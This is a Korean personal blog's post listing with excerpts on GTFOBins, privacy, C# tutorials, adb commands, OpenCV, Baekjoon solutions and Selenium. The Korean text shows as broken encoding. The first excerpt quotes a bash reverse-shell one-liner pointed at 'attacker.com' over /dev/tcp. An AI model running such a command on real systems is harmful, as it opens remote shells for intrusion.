๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
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์ „์ฒด ๊ธ€720

๋ณด์•ˆ - GTFOBins, ์‹œ์Šคํ…œ ๋ณด์•ˆ ๋ฌด๋ ฅํ™” ๋ช…๋ น์–ด ๋ชจ์Œ๋“ค https://gtfobins.github.io/ GTFOBins pg Shell File read SUID Sudo gtfobins.github.io ์˜ˆ์‹œ) Bash ๋ฆฌ๋ฒ„์Šค ์‰˜ ํ™œ์„ฑํ™” ๋ช…๋ น์–ด export RHOST=attacker.com export RPORT=12345 bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT 2023. 1. 22.
ํ”„๋ผ์ด๋ฒ„์‹œ - ๋ณด์•ˆ๊ณผ ํ”„๋ผ์ด๋ฒ„์‹œ์˜ ์ฐจ์ด์  ๋ณด์•ˆ๊ณผ ํ”„๋ผ์ด๋ฒ„์‹œ๋Š” ๋น„์Šทํ•œ ๋‹จ์–ด๊ฐ™์ง€๋งŒ, ํฐ ์ฐจ์ด๊ฐ€ ์žˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ๋ณด์•ˆ์€ ๋‹น์‹ ์ด ๊ฐ์˜ฅ์—์„œ 24์‹œ๊ฐ„ ๋™์•ˆ ๊ฐ„์ˆ˜ 20๋ช…์ด ์ง€ํ‚ค๊ณ  ์žˆ๋Š” ๊ฒƒ๊ณผ ๊ฐ™์€ ์ƒํ™ฉ์ด๋‹ค. ์ด ๊ฒฝ์šฐ์—๋Š” ์•ˆ์ „ํ•˜๊ฒ ์ง€๋งŒ, ํ”„๋ผ์ด๋ฒ„์‹œ๋Š” ์กด์žฌํ•˜์ง€ ์•Š๋Š”๋‹ค. ๋ฐ–์—์„œ ์•ˆ์ด ๋ณด์ด์ง€ ์•Š๋Š”, ์“ฐ๋Ÿฌ์ ธ ๊ฐ€๋Š” ์ง‘์˜ ๊ฒฝ์šฐ์—๋Š” ๋งŒ์กฑ์Šค๋Ÿฌ์šด ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ๊ฒฝํ—˜ํ•˜๊ฒ ์ง€๋งŒ, ์ƒ๋‹นํžˆ ์œ„ํ—˜ํ•˜๋‹ค. ๊ทธ๋ž˜์„œ ์•…์˜์ ์ธ ํ•ด์ปค์˜ ๊ณต๊ฒฉ์œผ๋กœ๋ถ€ํ„ฐ ๋ฉ”์‹œ์ง€ ๋‚ด์šฉ์„ ๋ณดํ˜ธํ•  ์ˆ˜ ์žˆ๋‹ค. ๋˜ํ•œ ๊ตญ๊ฐ€ ๊ธฐ๊ด€์ด ๊ฐœ์ž…ํ•˜์—ฌ ๋ฉ”์‹œ์ง€ ์ „๋‹ฌ ๊ฒฝ๋กœ์˜ ์ค‘๊ฐ„์—์„œ ์œ„์น˜ํ•œ ์„œ๋ฒ„๋ฅผ ์••์ˆ˜์ˆ˜์ƒ‰ ํ•˜๋”๋ผ๋„, ์„œ๋ฒ„์—๋Š” ์•”ํ˜ธํ™”๋œ ๋ฉ”์‹œ์ง€๋งŒ ์กด์žฌํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๊ทธ ๋‚ด์šฉ์„ ํ•ด๋…ํ•˜๊ธฐ ์–ด๋ ค์›Œ ๊ฐœ์ธ์˜ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ๋ณดํ˜ธํ•  ์ˆ˜ ์žˆ๋Š” ์žฅ์ ์ด ์žˆ๋‹ค. ์˜๊ตญ์—์„œ๋Š” ์ด๋Ÿฌํ•œ ์•”ํ˜ธํ™”๊ฐ€ ์–ด๋ฆฐ์ด๋“ค์—๊ฒŒ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ๋Š” ์ž ์žฌ์ ์ธ ์œ„ํ—˜์„ ๊ฒฝ๊ณ ํ•˜๋Š” ์บ ํŽ˜์ธ์ด ๊ณณ๊ณณ์—์„œ ์ผ์–ด๋‚˜๊ณ  ์žˆ๋‹ค... 2023. 1. 22.
C# - ๋งˆ์ดํฌ๋กœ์†Œํ”„ํŠธ ๊ณต์‹ UWP, WPF ์ž์Šต์„œ (GUI ํ”„๋กœ๊ทธ๋ž˜๋ฐ) ๋ฐ ๋‘˜์˜ ์ฐจ์ด์  UWP ์ž์Šต์„œ https://learn.microsoft.com/ko-kr/visualstudio/get-started/csharp/tutorial-uwp?view=vs-2022 ์ž์Šต์„œ: Visual Studio ๋ฐ C#์„ ์‚ฌ์šฉํ•˜์—ฌ UWP ์•ฑ ๋งŒ๋“ค๊ธฐ Visual Studio์—์„œ XAML ๋ฐ C#์„ ์‚ฌ์šฉํ•˜์—ฌ UWP ์•ฑ ๋งŒ๋“ค๊ธฐ learn.microsoft.com WPF ์ž์Šต์„œ https://learn.microsoft.com/ko-kr/visualstudio/get-started/csharp/tutorial-wpf?view=vs-2022 C#์—์„œ WPF๋ฅผ ์‚ฌ์šฉํ•˜๋Š” Hello World ์•ฑ - Visual Studio (Windows) WPF(Windows Presentation Foundation) UI ํ”„.. 2023. 1. 19.
ํฌํŠธํฌ์›Œ๋”ฉ ํ…Œ์ŠคํŠธ ์‚ฌ์ดํŠธ(Open Port Check Tool) ์‚ฌ์ดํŠธ ์ฃผ์†Œ https://www.yougetsignal.com/tools/open-ports/ Open Port Check Tool - Test Port Forwarding on Your Router www.yougetsignal.com ์‚ฌ์ดํŠธ์—์„œ ์„œ๋ฒ„์˜ ํฌํŠธ๊ฐ€ ์—ด๋ ค์žˆ๋Š”์ง€ ๋‹ซํ˜€์žˆ๋Š”์ง€ ํ™•์ธ์ด ๊ฐ€๋Šฅํ•˜๋‹ค. 2023. 1. 19.
OpenCV - ํŒŒ์ด์ฌ cv2 ์ด๋ฏธ์ง€ ์†์— ํŠน์ • ์ด๋ฏธ์ง€ ๊ฐ์ง€ํ•˜๊ธฐ def isExistImage(a, b, c=0.65): print("์ด๋ฏธ์ง€ ์กด์žฌ ์—ฌ๋ถ€") img_rgb = cv2.imread(a) template = cv2.imread(b) h, w = template.shape[:-1] res = cv2.matchTemplate(img_rgb, template, cv2.TM_CCOEFF_NORMED) threshold = c loc = np.where(res >= threshold) return len( loc[0] ) != 0 print(isExistImage("screen.png", "target.png")) # True or False def getMatchPosition(a, b, c=0.65): print("์ด๋ฏธ์ง€ ์œ„์น˜ ๊ฐ€์ ธ์˜ค๊ธฐ") img_rgb = cv.. 2023. 1. 16.
์•ˆ๋“œ๋กœ์ด๋“œ - adb๋กœ ์•ฑ ์‹คํ–‰ ์‹œํ‚ค๊ธฐ ex) ์นด์นด์˜คํ†ก ์‹คํ–‰ ๋ช…๋ น์–ด adb shell am start com.kakao.talk ์•ฑ์˜ ํŒจํ‚ค์ง€๋ช… ์ฐพ๋Š” ๋ฐฉ๋ฒ• ๊ตฌ๊ธ€ ํ”Œ๋ ˆ์ด์Šคํ† ์–ด์— ์•ฑ ์ด๋ฆ„์„ ๊ฒ€์ƒ‰ํ•ด์„œ ๊ณต์œ  ๋ฒ„ํŠผ์„ ๋ˆŒ๋Ÿฌ URL ์ฃผ์†Œ๋ฅผ ํ™•์ธํ•˜๋ฉด ์•ฑ์˜ ํŒจํ‚ค์ง€๋ช…์ด ๋‚˜์˜จ๋‹ค(com.kakao.talk) ์ฐธ๊ณ : https://colalove5562.tistory.com/31 [Android] ์–ดํ”Œ ํŒจํ‚ค์ง€๋ช… ํ™•์ธํ•˜๋Š” ๋ฐฉ๋ฒ• ์•ˆ๋“œ๋กœ์ด๋“œ ์–ดํ”Œ์˜ ํŒจํ‚ค์ง€๋ช… ํ™•์ธํ•˜๊ธฐ : ํŒจํ‚ค์ง€๋ช…(Package name) ์ด๋ž€? ์•ˆ๋“œ๋กœ์ด๋“œ ์•ฑ ๊ฐ๊ฐ์˜ ๊ณ ์œ ํ•œ ์ด๋ฆ„์ด๋ผ๊ณ  ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž์—๊ฒŒ ์ง์ ‘์ ์œผ๋กœ ๋ณด์ด์ง€๋Š” ์•Š์ง€๋งŒ, ์ด ์ด๋ฆ„์€ ์ค‘๋ณต๋  ์ˆ˜ ์—† colalove5562.tistory.com ์ถœ์ฒ˜ https://stackoverflow.com/questions/4567904/how-to-st.. 2023. 1. 15.
์•ˆ๋“œ๋กœ์ด๋“œ - adb ํ„ฐ์น˜&์Šค์™€์ดํ”„(์Šคํฌ๋กค) ์ด๋ฒคํŠธ ํ„ฐ์น˜ adb shell input tap 500 500 ์Šค์™€์ดํ”„(์Šคํฌ๋กค) adb shell input swipe 500 500 100 1000 100 # adb shell input swipe xSource, ySource, xDestination, yDestination, Duration(ms) ๋’ค๋กœ๊ฐ€๊ธฐ input keyevent 4 //ํ˜น์€ input keyevent 187 ์ž์„ธํ•œ ํ„ฐ์น˜ x, y ์ขŒํ‘œ๋ฅผ ์–ป๊ณ  ์‹ถ๋‹ค๋ฉด ๊ฐœ๋ฐœ์ž ์˜ต์…˜์—์„œ ์ž…๋ ฅ ๋ฉ”๋‰ด์— "ํฌ์ธํ„ฐ ์œ„์น˜" ์˜ต์…˜์„ ์ผœ์ฃผ๋ฉด ๋œ๋‹ค. ์ถœ์ฒ˜: https://code-clipping.tistory.com/4 ์•ˆ๋“œ๋กœ์ด๋“œ ํ„ฐ์น˜ ์ด๋ฒคํŠธ (adb shell input tap) adb shell input tap 500 500 Command: adb shell inp.. 2023. 1. 14.
๋ฐฑ์ค€ - ๋ฌธ์ž์—ด (Python 3) ์ •๋‹ต a, b = input().split() arr = [] for i in range( len(b) - len(a) + 1 ): cnt = 0 for j in range( len(a) ): if a[j] != b[i + j]: cnt += 1 arr.append(cnt) print( min( arr ) ) 2022. 12. 29.
๋ฐฑ์ค€ - ์ƒˆ์‹น(Python 3) ์ •๋‹ต ์ƒˆ์‹น = """ ,r'"7 r`-_ ,' ,/ \. ". L_r' `~\/ | |""" print(์ƒˆ์‹น) ํ’€์ด ๊ฐœํ–‰(\n)์ด๋‚˜ ํŠน์ˆ˜๊ธฐํ˜ธ "๋‚˜ '๋ฅผ ์ฃผ์˜ํ•ด์„œ ์ƒˆ์‹น์„ ์ถœ๋ ฅ์„ ํ•œ๋‹ค. 2022. 12. 29.
๋ฐฑ์ค€ - 1998๋…„์ƒ์ธ ๋‚ด๊ฐ€ ํƒœ๊ตญ์—์„œ๋Š” 2541๋…„์ƒ?!(Python 3) ์ •๋‹ต print( int( input() ) - 543 ) ํ’€์ด ๋ถˆ๊ธฐ ์›๋…„(1๋…„)์€ ์„œ๊ธฐ์ „ 544๋…„์ด๋ฏ€๋กœ, ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•˜๋Š” ๋ถˆ๊ธฐ ์—ฐ๋„์—๋‹ค 543์„ ๋นผ์ฃผ๋ฉด ์„œ๊ธฐ ๋…„๋„๋ฅผ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค. 2022. 12. 29.
๊ธฐํƒ€ - JํŒ ๊ธฐํƒ€ ์•…๋ณด ๋ชจ์Œ ์‚ฌ์ดํŠธ https://gakufu.gakki.me/ ใ€ใ™ในใฆ็„กๆ–™ใง่ฆ‹ๆ”พ้กŒใ€‘ใ‚ฎใ‚ฟใƒผใ‚ณใƒผใƒ‰/ใƒ”ใ‚ขใƒŽใ‚ณใƒผใƒ‰ๆคœ็ดขใ‚ตใ‚คใƒˆ๏ฝœๆฅฝๅ™จ.me gakufu.gakki.me 2022. 12. 23.
์…€๋ ˆ๋‹ˆ์›€ - ๋ธŒ๋ผ์šฐ์ € ์ฐฝ ์œ„์น˜ ์•ˆ๋ณด์ด๋Š” ๊ณณ์œผ๋กœ ์ด๋™ var options = new ChromeOptions(); options.AddArgument("--window-position=-32000,-32000"); var chromeDriverService = ChromeDriverService.CreateDefaultService(); chromeDriverService.HideCommandPromptWindow = true; driver = new ChromeDriver(chromeDriverService, options); 2022. 12. 19.
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